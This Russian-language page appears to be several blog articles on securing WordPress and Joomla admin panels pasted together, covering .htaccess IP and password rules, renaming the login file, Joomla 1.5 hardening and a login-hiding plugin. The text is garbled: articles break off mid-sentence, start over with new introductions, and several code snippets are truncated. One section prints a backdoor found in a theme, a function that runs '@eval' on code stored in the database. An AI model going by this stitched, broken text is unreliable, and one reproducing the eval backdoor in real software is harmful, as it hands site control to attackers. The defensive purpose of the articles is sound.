Как защитить вход в админку WordPress? Примитивные меры и WPS Hide Login. Защищаем админку Joomla от посторонних посетителей Добавление пароля на папку в CPanel

Еще год назад у меня очень часто нагрузка на сервер превышала предел допустимого по тарифу лимита. При этом проблема была не в самих сайтах, а банальной атаке злоумышленников на админку, с целью получить доступ для каких-то своих целей.

Сегодня я расскажу как справился с проблемой, что советую и вам сделать на всякий случай у себя.

В результате было принято решение сменить адрес формы логина в админку, а так же прикрыть админку для всех посторонних, у кого не мой IP.

Стоит заметить, что некоторые хостинг-компании сами автоматически создали для всех пользователей новый адрес админки. Если вы пользуетесь услугами подобных хостингов, то дальше не читайте статьи и не тратьте время.

Как сменить адрес админки WordPress

Раньше публиковал такую статью . Здесь вроде бы и похожий результат, но эффект и назначение другие.

Не забываем делать резервные копии файлов, с которыми работаем.

  • Для начала скопируем файл wp-login.php из корня сайта (там где лежит wp-config.php) на ftp к себе на компьютер.
  • Переименовываем его как душе угодно. Например vhod.php
  • Открываем этот файл бесплатной программой Notepad++ (или чем вам удобнее редактировать) и подменяем все вхождения фразы wp-login.php на vhod.php .

Сделать это быстро можно нажатием сочетания клавиш CTRL+F в Notepad++. Ну а в появившемся окне вводим:

Вот так за секунду я заменил во всем файле нужное мне вхождение фразы. Попадалось оно 12 раз.

Новый файл закидываем на ftp.

Аналогичную штуку нужно будет провернуть в файле general-template.php , который найдете в папке wp-includes тут же на ftp. Т.е. меняете вхождение фразы wp-login.php на vhod.php , а само название файла не меняете!

Теперь там же в корне сайта у вас есть файл .htaccess . Тоже копируем его к себе на компьютер и открываем на редактирование (можно обычным блокнотом Windows Notepad). Вставляем такой кусок кода, который блокирует доступ всем к файлу wp-login.php

Order Deny,Allow Deny from all

< Files wp - login . php >

Order Deny , Allow

Deny from all

< / Files >

Именно данный шаг снял нагрузку, а так же спрятал форму авторизации. Нагрузка была снята за счет вставки представленного кода в.htaccess: если шло обращение к http://site.ru/wp-login.php, то отдавало 403 ошибку, а не 404.

Повторим кратко алгоритм работы:

  • Переименовываем файл wp-login.php на произвольное имя и подменяем в нем вхождения названия на новое.
  • Аналогично подменяем в файле general-template.php старое название wp-login.php на новое.
  • Прописываем в файле.htaccess запрет к доступу wp-login.php для всех

После обновления WordPress останется поправить только файл general-template.php. Но т.к. обновляется движок не так уж часто - это мелочь по сравнению с эффектом.

Ставим ограничение на вход по IP через.htaccess

В качестве дополнительных мер по защите сайта мною было принято ограничение на вход в админку по IP. Проблема решалась очень просто: создаем пустой файл.htaccess и добавляем в него такой код

order deny,allow allow from 192.168.0.1 deny from all

order deny , allow

allow from 192.168.0.1

deny from all

Файл сохраняем и закидываем в папку wp-admin там же в корне сайта.

Вместо моего IP из примера поставьте свой настоящий. Притом можно добавить несколько IP с новой строки каждый:

order deny,allow allow from 126.142.40.16 allow from 195.234.69.6 deny from all

order deny , allow

allow from 126.142.40.16

allow from 195.234.69.6

deny from all

Если IP динамический, то можете поставить цифры только до первой-второй-третьей точки:

Здравствуйте, уважаемые читатели блога сайт. Сегодня хочу поговорить про безопасность работы и некоторые методы защиты сайта от взлома. К сожалению, я не являюсь экспертом в этой области и мои познания мало выходят за рамки статьи про , но я просто опишу свой недавний опыт. Ничего сложно я не использовал, но надеюсь, что это повысит безопасность работы с моими сайтами.

Речь пойдет о двойной аутентификации для входа в админпанель движка вашего сайта (работать должно на любых CMS, но лично я проверял только на WordPress и Joomla). Защита ставится на уровне сервера, поэтом все попытки подбора пароля к админке (брутфорса) не будут создавать повышенный нагрузки на хостинг и обойти ее довольно сложно. Ставится она легко (буквально в несколько действий) и из всех познаний требует только внимательности и умения получать доступ к сайту по ФТП.

Ну и также приведу пару действий, которые я применил к сайтам на уже морально устаревших движках Joomla 1.5, которые мне нет особого смысла переносить на , но которые у меня постоянно ломают и используют сервер для рассылки спама. Описанные действия я произвел недавно, поэтому не могу констатировать факт прекращения заражения сайтов вирусами, но на это надеюсь. В общем, я попробовал чуток повысить взломоустойчивость Joomla 1.5 .

Как защитить Joomla 1.5 от взлома и проникновения вирусов

Как я уже упомянул выше, проблема заключается в постоянных взломах двух моих сайтов, которые работают под управлением Joomla 1.5. Можно считать их заброшенными, ибо новые материалы я на них не добавляю, но они исправно приносят доход (с размещения статей из Миралинкса и Вебартекса , а также ссылок с Гогетлинкса). В общем, выбросить их жалко, а переводить на новую версию движка «в лом» (жалко потраченного времени и сил).

Остается либо постоянно мониторить нагрузку на сервер и при ее повышении искать среди файлов движков шелы и прочих зловредов, либо каким-то образом усиливать защиту. Для поиска зловредов я выкачиваю файлы движка на компьютер и проверяю их ДокторомВебом и Айболитом. Первый находит далеко не все, а последний видит врага слишком часто там, где его нет, но каких-то других эффективных способов я не знаю. Хотя, есть еще и в десятках программ, но это уже кому как удобнее.

Кстати, скрипт Айболит умеет работать не только на сервере, но и прямо на компьютере в папке с скачанными файлами движка (штатный антивирус только не забудьте отключить при скачивании сайта, ибо он может часть файлов почикать, а на сервере-то они все равно останутся).

Подробная инструкция приведена в расположенном ниже ролике, а если говорить кратко, то вы скачиваете с сайта Майкрософта интерпретатор языка PHP и устанавливаете его. После чего файл скрипта Айболита под названием ai-bolit.php открываете именно с помощью этого самого интерпретатора:

Скорость сканирования зависит от быстродействия вашего компьютера и количества файлов в движке вашего сайта. У меня это заняло несколько часов для https://сайт, ибо даже картинки «Айболит» подозревает в сокрытии вирусов, а этих самых картинок у меня куча, да и файлы кеша много времени отнимают при сканирования. Для сайтов на Joomla 1.5 проверка проходила намного быстрее.

Решил потратить день для поиска пути повышения безопасности сайтов. Сделать удалось совсем немного, но все же лучше, чем ничего. Давайте начнем с укрепления защиты (со снижения уязвимости) двух сайтов на Joomla 1.5 . Было сделано следующее:


Как еще защитить Joomla 1.5 от вирусов и потоковых взломов

  1. Также «специалисты» уверяют, что сайты на Joomla 1.5 ломают «на раз-два» путем использования имеющейся в движке (через нее якобы можно сменить пароль админа). Даже если вы регистрацию на своем сайте не используете и ссылку на восстановление нигде не выводите, то это не значит, что эту уязвимость вы прикрыли. Просто добавьте следующий фрагмент к урлу главной страницы своего сайта и получите искомую возможность: /index.php?option=com_user&view=reset

    Собственно, для закрытия этой лазейки (но вот как ей воспользоваться для взлома я так и не понял) можно просто удалить такой вот файлик:

    /components/com_user/models/reset.php Правда после этого никто из зарегистрированных у вас на сайте пользователей воспользоваться функцией восстановления паролей не сможет, но для меня это было не важно, ибо регистрации предусмотрено не было.

  2. А еще говорят, что такая полезная шняга, как с помощью добавления к адресу страницы, тоже позволяет писателям вирусов и охотникам до чужого добра добраться-таки до каких-то чувствительных зон вашего сайта и внести в него деструктив, либо как-то по другому над ним надругаться. Штука эта опять же убирается путем правки одного из файлов движка. /libraries/Joomla/application/module/helper.php

    Там нужно удалить два фрагмента кода, или закомментировать, заключив их в /* и */ (этот код не будет выполняться интерпретатором языка). Первый фрагмент такой:

    If(count($result) == 0) { if(JRequest::getBool("tp")) { $result = JModuleHelper::getModule("mod_".$position); $result->title = $position; $result->content = $position; $result->position = $position; } }

    А второй такой:

    If(JRequest::getBool("tp")) { $attribs["style"] .= " outline"; }

    Собственно, после этого сбрасываете кеш и пытаетесь просмотреть позиции модулей в вашем шаблоне с помощью такой вот конструкции:

    Https://сайт/?tp=1

    Ежели не получилось, то вы эту дыру, будем надеяться, закрыли.

  3. Очень часто взламывают сайты не снаружи, а изнутри. Трояны и кейлогены на вашем компе знают, что и где искать, поэтому не храните пароли в ФТП клиентах (есть вариант использовать для этого дела).Еще круче считается — отключить возможность доступа к вашему сайту по ФТП, а вместо этого, где передаваемая информация (в том числе и пароли) шифруется, что делает бесполезным ее перехват. Я, если честно, последним советом пренебрегаю по причине своей «темности». Еще есть вариант настройки доступа к вашему сайту по обычному ФТП только с определенного IP адреса (вашего компьютера), но у моего интернет-провайдера IP динамический (меняется в определенном диапазоне).
  4. Также советуют движка не выше тех, которые реально требуются для его работы. На самом деле, я особо не думая поставил по шаблону:755 на папки и 644 на файлы. можно все с помощью той же Файлзилы. Причем указанные права нужно применять не только для каталогов корневой папки, но и для всех каталогов и файлов, которые лежат внутри них.

    На файлы в корневой папке я поставил права 444, а на каталоги tmp и logs — 705. Можно было бы, конечно, и более жестко «зажать», но у меня в этом нет особого опыта, а тратить время на эксперименты было некогда. Да и к тому же все это не шибко-то серьезно сдержит хакеров, ибо существуют, что все наши старания может свести на нет. Для этого используют подобные команды:

    Поэтому для полного «бетонирования» файлов движка Joomla 1.5 от взлома и посягательств нужно запретить на выполнение смену прав доступа к файлам и папкам через PHP. Делается это в настройках сервера, но я пока не знаю как и где. Если знаете, то киньте ссылочку.

  5. Все вышесказанное призвано снизить вероятность взлома вашего сайта и проникновения на него шелов и прочих зловредов. Однако, предпринятые меры предосторожности не дают гарантии, поэтому было бы замечательно на сервере (где живет ваш сайт на Joomla 1.5) . Это позволит снять весь негатив от просочившейся нечести. Однако, лично я опять же это еще не осуществил по причинам свой «темности». Буду признателен за ссылки на поясняющие сей процесс материалы.
  6. Очень часто ломают сайты, получив доступ к административной панели. Понятно, что она защищена паролем, поэтому методом брутфорса (умного подбора) многие, даже казалось бы сложные пароли ломают на раз-два. Поэтому админку тоже нужно защищать , и лучше это делать не с помощью дополнительных расширений, а именно средствами сервера. Вариантов защиты существует несколько. Например, можно изменить тем или иным образом Урл адрес админки, чтобы взломщик не мог бы начать свое грязное дело.

    Другой метод защиты, который будет в подробностях описан ниже, заключается в создании дополнительной преграды на пути взломщика (живого человека или скрипта). Заключается он в запароливании директории с файлами админки (в Joomla это папка administrator, а в WordPress — wp-admin) средствами веб-сервера. Получается, что при обращении к админке сначала нужно будет ввести логин и пароль для доступа к папке, а уже потом логин и пароль для доступа, собственно, к админке движка. Причем, ломая первый рубеж обороны методами брутфорса, зловред не будет создавать сколь-нибудь значимой дополнительной нагрузки на сервер, что есть хорошо.

  7. Еще одним очень важным, на мой взгляд, замечанием по повышению защищенности ваших сайтов от вломов и заражения вирусами является соблюдение правила: одни сайт — одни аккаунт на хостинге . Да, это дороже, но намного безопаснее. При размещение на одном аккаунте, сразу все ваши сайты будут доступны по ФТП при получении доступа зловреда лишь к одному из них. Ломают сайты на автомате, и надеяться на то, что скрипты не пойдут вверх по дереву каталогов, было бы не разумно. К тому же, лечить пачку сайтов на одном акке хостинга очень тяжело, ибо занимаясь одним сайтом вы упускаете из вида уже вылеченный, который в это время заражают.
  8. Ломать, кстати, могут не только с вашего же сайта, но и с сайта вашего соседа по хостингу, если владельцы должным образом не позаботились об исключении этой возможности. Могут взломать и панель хостинга (типа, ), но в любом случае число взломов по вине хостера мизерно по сравнения с числом взломов по виде беспечности владельцев сайтов.

Как защитить админку своего сайта от взлома?

Я хочу в деталях рассказать о том методе защиты, который совсем недавно использовал сам. Заключается он в запрете доступа к папкам, где лежат файлы административной панели сайта . Запрет устанавливается с помощью замечательного файлика.htaccess, который, по сути, позволяет дистанционно управлять настройками вебсервера, на котором установлен ваш сайт. При этом он умеет делать это избирательно.

Все директивы, прописанные в.htaccess, будут распространяться исключительно только на тот каталог, внутри которого он находится. Хотите что-то изменить в настройках применительно ко всему сайту? Помещайте тогда.htaccess в корневую папку. Ну, а нас интересуют настройки касательно только папки с файлами админки, поэтому мы его туда и поместим. В Joomla это будет папка administrator, в в WordPress — wp-admin.

Однако, одним.htaccess нам не обойтись. Придется задействовать еще и.htpasswd, где будет храниться логин и пароль для доступа к этой самой административной папке. Причем пароль будет храниться не в открытом виде, а в виде MD5 шифра. Восстановить по нему пароль не получится, но зато при вводе правильной комбинации в поле пароля, веб-сервер посчитает для этой комбинации MD5 сумму и сравнит с тем, что хранится в.htpasswd. Если данные совпадут, то вас пустят в админку Joomla или WordPress, а если нет, то не пустят.

Вот и все, осталось только воплотить намеченное в жизнь. Нужно ведь какие-то директивы в.htaccess добавить. Вы знаете какие? Я не знаю. Да и как-то нужно будет пароль перегнать в MD5 последовательность. Проблема. Однако, она имеет довольно простое решение. Добрые люди организовали онлайн-сервис по генерации содержимого для файла.htaccess и файла.htpasswd на основе придуманных вами логина и пароля. Правда, придется еще и абсолютный путь до административной папки указать, но это уже мелочи.

Итак, встречайте — великий и ужасный генератор защиты для админки вашего сайта . Понятно, да? Придумываете, а лучше всего на каком-нибудь создаете две сложнейших комбинации букв, цифр и знаков, после чего их вводите в два верхних поля. Записать их только не забудьте, или в менеджер паролей запихнуть, иначе сами в админку войти не сможете и придется все описанное в этой части начинать делать заново.

Вот, теперича. Знаете такой? Даже если не знаете, не беда. Подключаетесь к сайту по ФТП, создаете в его корне файлик с любым названием (да хоть с таким url_path.php) и добавляете в него такой вот простой код:

"; echo "Полный путь к скрипту и его имя: ".$_SERVER["SCRIPT_FILENAME"]."
"; echo "Имя скрипта: ".$_SERVER["SCRIPT_NAME"]; ?>

Потом заходите в браузер и вводите в адресную строку вот такой вот Урл (с вашим доменом, конечно же):

Https://сайт/url_path.php

В результате увидите тот самый интересовавший вас абсолютный путь. Вводите его в указанном выше генераторе файлов.htaccess и.htpasswd. Не забудьте добавить в конце этого пути название папки administrator или wp-admin без слеша на конце. Все, теперь жмете по кнопочке «Сгенерировать»

И по очереди переносите содержимое для файлов.htaccess и.htpasswd непосредственно в эти самые файлы.

Надеюсь, что вы их уже создали в папках administrator или wp-admin (в зависимости от используемого вами движка)?

Ну, а теперь уже пробуйте зайти в админку. Появляется окно с предложением ввести логин и пароль от вашего веб-сервера? В разных браузерах оно отрисовывается по разному, но в Хроме оно выглядит так:

Если что-то не клеится, то «курите» абсолютный путь до.htpasswd, прописанный в файле.htaccess. В этом случае просто вручную его поправьте при редактировании файла. Вот и все, что я хотел вам сегодня рассказать. Если хотите поругать или что-то добавить, то в путь.

Вирус в WordPress?

Уже после написания этой статьи обнаружил на своем блоге (https://сайт) зловреда (или что-то такое, что установилось в обход моей воли). Я просто хотел что-то там поменять в коде и залез в . В самом его низу, непосредственно перед тегом Body, мне бросился в глаза вызов какой-то незнакомой мне функции ( по ее названию, но ничего путного не обнаружил):

Название вроде бы вменяемое. Примечательно, что недели за три до этого я случайно обнаружил, что у меня появилась новая таблица в базах данных двух моих блогов на WordPress (https://сайт и еще одного). Название у нее было просто замечательное — wp-config. Гугление по этому названию опять ничего путного не дало, ибо все ответы были связаны с одноименным файлом wp-config.php.

Таблица эта здорово быстро росла в размерах (до сотни мегабайт на https://сайт) и в нее писались адреса страниц моего сайта с различными параметрами. Не поняв сути сего процесса, я просто снес эту таблицу и все. Кстати, у меня есть еще один блог на WordPress, но там ничего подобного не наблюдалось.

Ну, а вот тут обнаружил такую «говорящую» вставку в тему. Решил и поглядеть, не добавилось ли там чего-то созвучного с описанной выше строчкой внизу футера. Оказалось, что добавилось. Причем так аккуратненько — ни в самом верху, ни в самом низу, а второй (или третьей) сверху вписанной функцией:

Function wp_custom_page_links_return() { $option = get_option("wp_custom_page_links"); @eval($option); } @eval(get_option("wp_brlinks"));

Тут и замечательный «eval» в глаза бросается. Что примечательно, Айболит (описанный выше) нашел этот фрагмент подозрительным, но у меня пока еще до него руки не дошли, ибо этот скрипт уж очень многих подозревает в неблагонадежности. По поводу этого кода я тоже гуглил и нашел пост (к сожалению, сейчас тот домен блокировали за неоплату) с описанием похожей проблемы. У товарища эта гадость просочилась с новой темой, в которую был зашит какой-то установочный код.

У меня же темы на обоих заразившихся блогах стоят уже по много лет. Наверное, была какая-то уязвимость в движке или , которой оперативно (на потоке) воспользовались недоброжелатели. В общем, проверьте у себя отсутствие подобных вкраплений. Дата изменения описанных файлов приходилась, по-моему, на середину сентября этого года.

Советую так же посмотреть подборку из 17 видеоуроков по обеспечению безопасности сайтов на Joomla . Они будут воспроизводиться один за другим автоматом, а если хотите, то можете переключаться на следующий урок с помощью соответствующей кнопки на панели плеера или выбрать нужный урок из выпадающего меню в верхнем левом углу окна плеера:

Приятного просмотра!

Удачи вам! До скорых встреч на страницах блога сайт

Вам может быть интересно

Сайт на Joomla стал выдавать кучу ошибок типа - Strict Standards: Non-static method JLoader::import () should not be called statically in
Обновление Joomla до последней версии
Создание карты для сайта на Joomla с помощью компонента Xmap
Что такое Joomla
Группы пользователей в Joomla, настройка кэширования и проблема отправки почты с сайта
Компонент K2 для создания блогов, каталогов и порталов на Joomla - возможности, установка и русификация
Модули в Joomla - просмотр позиции, настройка и вывод, а так же назначение суффиксов класса
Как обновить статический Html сайт до динамического на Joomla
Установка WordPress в деталях и картинках, вход в админку WP и смена пароля
Плагины Joomla - TinyMCE, Load Module, Legacy и другие установленные по умолчанию

Важным аспектом защиты сайтов на джумле является ограничение доступа для посторонних к административной панели управления. Большую часть атак хакеров приходится на получения доступа суперпользователя - с такими правами можно залить шелл и делать с проектом что угодно. Злоумышленники используют как обычный перебор паролей (атаку брутофорсом), так и всевозможные уязвимости самой Joomla. Именно поэтому важно вовремя обезопасить сайт и закрыть доступ к админке джумлы. Некоторые используют различные плагины для скрытия или изменения адреса админки. Как яркий пример можно привести Jsecure. Однако лично я не советую их использовать, а даже наоборот рекомендую их удалять, потому что есть более надежные и простые способы ограничения доступа от незванных гостей.

Защита админки Joomla через файл htaccess

Доступ к административной панели можно ограничить как модулями, так и настройками сервера.

Ограничение доступа к папке в ISP

Рассмотрим для начала как сделать это в ISP Managere. Заходим в панель управления сайтом и выбираем в "World Wide Web" пункт "Ограничение доступа":

Паролирование папки administrator в ISP manager

Выбираем пункт "Создать" и в появившемся окошке указываем полный путь до папки administrator (путь можно посмотреть по фтп, к примеру).


Поставить защиту на админку Joomla

После этого выбираем созданный пункт и нажимаем кнопку "Пользователи". Здесь жмем кнопку создать и вводим логин, сохраняем, выделяем созданного пользователя и выбираем "Изменить":


Защита админки Joomla

Вводим и подтверждаем пароль, нажимаем "Ок" - теперь админка защищена от посторонних ботов, подбирающих пароли.

Поставить админку под пароль на хостинге Beget

Как отдельный пример рассмотрим популярный хостинг среди вебмастеров бегет, тем более у него своя панель для этих целей.

Для начала заходим в панель управления хостингом. Здесь нам необходимо выбрать и перейти в файловый мененеджер:


Следующим шагом необходимо зайти в необходимую папку для защиты, в нашем случае это папка administrator необходимого сайта. Будьте внимательны, надо перейти именно внутрь каталога, а не выделить его!


Теперь кликаем по меню "Инструменты" и у нас появится выбор между парольной защитой и сокрытием админки по айпи. Я рассмотрю оба варианта реализации на практике.


Меню "Инструменты" в менеджере файлов бегета

Если выбрали пункт "Установить пароль на текущую директорию", то появится всплывающее окно с заполнением имени пользователя и пароля. Если всё было указано корректно, то после нажатия кнопки "Установить пароль" в папке administrator создадутся файлы.htpasswd с зашифрованным паролем и логином и.htaccess с готовыми директивами. В целях повышения безопасности я советую выносить файл паролей.htpasswd за пределы сайта (выше директории public_html). Не забудьте после этого прописать новые пути в файле.htaccess!


Немного запутано выглядит второй вариант с использованием фильтрации айпи-адресов. В появившемся окне галочка должна стоять на пункте "Запретить доступ с любого адреса" и в дополнительных параметрах " Сначала запрещенные, потом разрешенные". После этого добавляем белые айпи и не забываем всё это дело сохранять. После всех манипуляций в админку можно будет зайти только с определённых айпи.


Аналогичным образом можно поставить парольный доступ к любой другой директории на сервере или же аналогичным образом можно защищать админки других CMS, таких как Wordpress, Drupal, Modx, Bitrix и другие.

Добавление пароля на папку в CPanel

Ещё одна популярная контрольная панель управления сайтами, используемая многими хостингами - это Cpanel. И в ней уже изначально внедрено создание паролей на директории и не надо самим тратить много времени с созданием и добавлением htpasswd файлов.

Для начала конечно же надо зайти в панель управления и среди множества разных пунктов выбрать "Конфиденциальность каталога" во вкладке "Файлы":


Появится упрощённый файловый менеджер, в котором нужно выбрать необходимую папку, в нашем случае administator необходимого домена. Для того, чтобы передвигаться по папкам, необходимо щелкать по значкам папки, а не по названию, клик по имени каталога служит выбором директории для создания защиты.


У нас появится окно с забавным переводом "Параметры безопасности". Здесь можно добавлять, удалять и редактировать пользователей, но всё это не будет работать, пока не поставишь галку на защите директории. Я советую сначала добавлять нового пользователя, а потом уже применять защиту папки. В любом случае, надо будет 2 раза нажимать кнопку сохранить и по юзабилити этот момент оказался непродуманным.


Можно воспользоваться генератором паролей или придумать свою кодовую фразу обязательно нажмите сохранить для добавления пользователя. Должно появиться окно об успешном завершении:


Далее нажимаем кнопку назад и применяем защиту на папку. Для этого ставим галочку напротив "Защитить этот каталог паролем", можно отредактировать сообщение, которое будет выдавать незваным гостям и обязательно жмём "Сохранить". Проверяем результат, в итоге у нас должна быть работающая двухфакторная авторизация на административную панель Joomla.

Basic авторизация для админки джумлы

Следующим вариантом для рассмотрения будут возможности файла.htaccess (в принципе предыдущий метод основан на этом, поэтому я расскажу подробнее, как сделать это вручную, или для тех, у кого хостингом не предусмотрена такая настройка в панели управлении). Для простоты понимания данный метод я называю двухфакторной авторизацией в админку.

Создаем в папке administrator файл.htaccess со следующим кодом:

AuthType Basic
AuthName "/"
AuthUserFile "Путь к файлу паролей/.htpasswds/passwd"
require valid-user

Итак, теперь рассмотрим подробнее, в строке AuthName в кавычках мы указываем текст выводимого сообщения авторизации (Будь то "Введите логин-пароль для входа в административную панель" до "Бот дальше не пройдет" - всё зависит от вашей фантазии).

В AuthUserFile мы указываем полный путь к файлу, где будет храниться наш зашифрованный логин с паролем. Я обычно стараюсь их расположить выше директории сайта, чтобы физический доступ к ним полностью отсутствовал.

Создать файл паролей не так сложно, достаточно в гугле вбить "htpasswd creator", и нам будет предложено много онлайн-сервисов по генерации ключа.

Не забудьте поместить сгенерированную строку в файл по пути, которому мы прописали в файле.htaccess. И обязательно проверьте работоспособность успешного входа: при неверно прописанных путях даже с корректным вводом пароля будет выдаваться ошибка сервера, и в админку мы не попадем.

Данный способ называется basic авторизацией, реализованный в стандартных инструментах апача. Единственным недостатком данного метода является то, что пароли передаются открытым текстом. Хоть вероятность перехватить данные пароли мала, для более высокой степени защищенности можно использовать digest авторизацию.

Digest авторизация для защиты админки джумлы.

На этот раз пароль будет зашифрован браузером в md5 и уже не будет обычного незащищенного текста. В остальном всё схоже с basic вариантом, обязателен лишь параметр AuthName. Ну и изменяется тип авторизации, а так всё остается аналогичным:

AuthType Digest AuthName protected AuthUserFile мой путь к файлу.htpasswd Require valid-user

Вот так можно легко защитить админку джумлы от перебора паролей. Данный метод подходит и для других CMS по аналогии, для сайтов на вордпрессе есть нюансы, описал в этой статье , а также можно таким образом защищать определенные папки на сервере.

Защита админки Joomla по айпи

Кроме этого метода можно ограничить вход в административную панель фильтрацией айпи адресов. Для этого стоит создать в папке, которую необходимо защитить файл.htaccess со следующим кодом:

Order Deny,Allow
Deny from all
Allow from myip

где вместо myip прописываем наш белый айпи, несколько айпи через запятую или же подмаску сети при динамическом адресе. Пример:

Allow from 192.168.0.1

Allow from 127.0.0.

Allow from 178.133.

В первом случае зайти можно будет с одного адреса, во втором случае с диапазона 127.0.0.1-127.0.0.255, а в последнем варианте с адресов 178.133.0.1-178.133.255.255

На этом о защите админки хватит, а теперь стоит почитать

Вы наверняка уже знаете как можно попасть в админку WordPress?

Сделать это можно как минимум четырьмя способами, добавив к адресу вашего сайта следующее:

  1. /admin, т.е. так: http://вашсайт/admin
  2. /wp-admin
  3. /login
  4. /wp-login.php

В общем-то, все три первых варианта редиректом (перенаправлением) приведут вас всё равно на страницу: http://ваш_сайт/wp-login.php

Получается, что любой желающий сможет добавить к адресу Вашего сайта любую из четырёх выше описанных приставок и увидит вход админку:

Конечно же, это совсем не значит что этот любой желающий сможет также легко попасть в админку, ведь ему нужно еще знать Имя пользователя или Ваш e-mail и Ваш пароль.

Если Ваш пользователь-администратор имеет логин: – то это совсем не осмотрительно с Вашей стороны и злоумышленнику останется только угадать или подобрать Ваш пароль.

Кроме того, вы увидели надпись: Имя пользователя или e-mail ? Да, да, именно e-mail WordPress может использовать как Имя пользователя. А Вы ведь могли где-нибудь на сайте указать E-mail адрес, который совпадает с E-mail пользователя-администратора. Получается первое, что может попробовать злоумышленник – это ввести Ваш E-mail и тут WordPress ему снова поможет, ведь если E-mail не подходит он увидит такое сообщение:

а если E-mail правильный, WordPress-напишет что пароль для него не верный:

В итоге, мы имеем ситуацию при которой потенциальному злоумышленнику для взлома Вашего сайта (доступа в админку) нужно будет только угадать или подобрать Ваш пароль.

Как же защитить вход в админку от потенциальной угрозы? Ответ прост – постараться увеличить количество неизвестных, необходимых для входа.

А теперь давайте подробнее:

  1. По возможности, сделайте так чтобы E-mail пользователя-администратора на сайте нигде не упоминался – публичный E-mail должен быть каким-нибудь другим.
  2. Ваш пароль должен быть не простым, при установке WordPress сам генерирует для вас сложный пароль, если не хотите его использовать придумайте какой-нибудь более менее сложный пароль, включающий в себя маленькие и большие символы, цифры и какие-нибудь символы типа -, ?, _ и т.д.
  3. Имя Вашего пользователя тоже не должно быть простым, никаких: admin, manager, root, administrator, user и прочих простейших слов!
  4. И наконец, нужно ввести третью самую главную неизвестную – поменять URL-адрес входа в админку, для этого установите простой плагин: WPS Hide Login
WPS Hide Login

Простой, бесплатный и довольно популярный плагин, позволяющий изменить URL-адрес входа в админку.

После установки и активации плагина, вам нужно перейти в раздел админки: Настройки / Общие , далее прокрутить страницу до самого низа и увидеть всего один параметр добавляемый этим плагином:

По умолчанию плагин предлагает использовать вход http://вашсайт/login – но это отнюдь не самый лучший вариант! Придумайте что-нибудь своё, например: yyy12_go )))

После изменения этого параметра не забудьте нажать на кнопку Сохранить изменения – иначе при активном плагине у вас будет вход через http://вашсайт/login

Обязательно попробуйте выйти и снова зайти в админку, но уже по новому адресу входа, который вы сами придумали и главное не забудьте его!

После изменения точки входа в админку, при попытке зайти по стандартным URL-адресам пользователь будет получать 404 страницу ошибки.

Внимание! Если вдруг Вы забудете новый адрес входа в админку, вам нужно будет отключить данный плагин. Сделать это можно не попадая в админку при наличии доступа к папкам и файлам сайта. Нужно просто переименовать или удалить папку плагина wps-hide-login, которая будет в папке plugins (папка plugins находится в папке wp-content).

В итоге: после применения всех выше перечисленных мер мы должны получить защиту входа в админку с тремя неизвестными: E-mail / Имя пользователя, сложный пароль и свой уникальный URL-адрес входа – а это может значительно усложнить потуги юных хакеров)

Админ-часть является наиболее уязвимой из всех разделов сайта. Так, попав сюда, злоумышленник получает полный доступ ко всему сайту и может делать все, что ему заблагорассудится (от простого сообщения, что сайт взломан, и до частичного нарушения работы или полного удаления контента).

Зачем защищать админку?

Часто владельцы сайтов не придают особого значения защите админки, о чем потом жалеют, когда становятся жертвами взлома. WordPress, в силу своих открытости и популярности во всем мире, находится под пристальным вниманием хакеров. Конечно, разработчики движка довольно оперативно исправляют найденные ошибки безопасности, но также быстро и находятся новые, от которых можно пострадать, пока они не будут исправлены.

Способы защиты

Существует ряд мер, приняв которые, Вы сможете на достойном уровне обезопасить Ваш сайт от недобросовестного влияния.

Выбираем правильные логин/пароль администратора

Самый первый шаг к защите — это правильные логин и пароль администратора. Крайне не рекомендуется использовать в качестве имени пользователя типа admin или administrator . Если у Вас уже создан админ-пользователь с «нежелательным» именем, то достаточно будет просто . Не забудьте потом удалить пользователя admin или administrator .

Пароль должен быть от 8 до 10 символов и включать как строчные/прописные буквы, так и цифры, а также другие символы (точка с запятой, знаки вопроса/восклицания и др.)

Изменяем адрес админ-панели

По умолчанию, в WordPress для входа в административную панель используются адреса:

Http://site.ru/wp-admin/ http://site.ru/wp-login.php

В силу популярности движка, эти адреса довольно сильно подвержены атакам. Для обеспечения безопасности всего сайта их следует изменить на те, которые будете знать только Вы. Для этого существует довольно простой в управлении плагин . Благодаря ему, Вы можете сами задать, по какому адресу будете получать доступ в админ-панель.

Устанавливаем дополнительную форму авторизации через.htaccess

Файл .htaccess отвечает за настройку веб-сервера Apache и дает возможность конфигурировать работу сервера в директориях Вашего сайта (например, менять название индексных файлов, устанавливать права доступа к файлам/каталогам, выполнять редиректы). В данном случае файл установит дополнительную форму ввода логина и пароля перед тем, как попасть на авторизацию в админку. С примерами, установкой и настройкой файла .htaccess Вы можете ознакомится по .

Защита админ-панели от перебора паролей

Еще одна важная деталь защиты админки — ограничение количества ввода пароля. Так, если злоумышленник все-таки дошел до формы входа на сайт и пытается подобрать пароль, то логично будет после нескольких неудачных попыток его заблокировать. Для этого можно воспользоваться специальными плагинами. Одним из таких является плагин Limit Login Attempts . Для активации защиты плагин достаточно установить и активировать.

Итоги

Приняв вышеуказанный ряд мер, Вы сможете защитить свою админку от большинства возможных уязвимостей: теперь злоумышленнику ее сложнее будет обнаружить и подобрать к ней логин/пароль. Конечно, это не гарантирует Вам 100% защиты, так как всегда находятся новые уязвимости, нарушающие работу сайта. Но если не делать никаких шагов в сторону безопасности, то вероятность сбоя во много раз возрастает.


Top